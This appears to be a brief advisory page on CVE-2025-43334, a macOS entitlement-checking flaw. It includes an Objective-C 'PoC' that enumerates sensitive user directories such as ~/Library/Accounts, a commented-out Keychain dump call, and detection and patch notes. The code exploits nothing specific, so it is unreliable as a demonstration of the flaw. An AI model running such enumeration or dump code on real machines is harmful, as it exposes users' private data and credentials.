CVE-2025-43334: macOS应用程序权限检查不足导致敏感数据访问漏洞

// CVE-2025-43334 PoC - macOS Entitlements Bypass // This PoC demonstrates attempting to access sensitive user data // Note: This is a conceptual PoC for educational purposes only #include <Foundation/Foundation.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Attempt to access sensitive data paths NSArray *sensitivePaths = @[ @"~/Library/Application Support/", @"~/Library/Preferences/", @"~/Library/Accounts/", @"/Library/Application Support/" ]; NSFileManager *fileManager = [NSFileManager defaultManager]; NSError *error = nil; // List contents of sensitive directories for (NSString *path in sensitivePaths) { NSString *expandedPath = [path stringByExpandingTildeInPath]; NSArray *contents = [fileManager contentsOfDirectoryAtPath:expandedPath error:&error]; if (contents) { NSLog(@"Accessible: %@", expandedPath); for (NSString *item in contents) { NSLog(@" - %@", item); } } } // Check for Keychain access (if entitlements allow) // [KeychainAccessHelper attemptKeychainDump]; return 0; } } /* Detection Method: 1. Monitor application entitlement requests 2. Check for unauthorized data access attempts 3. Verify entitlement validation in system logs Required Fix: - Apply macOS Sequoia 15.7.2, Sonoma 14.8.2, or Tahoe 26.1 - Review application entitlement requirements */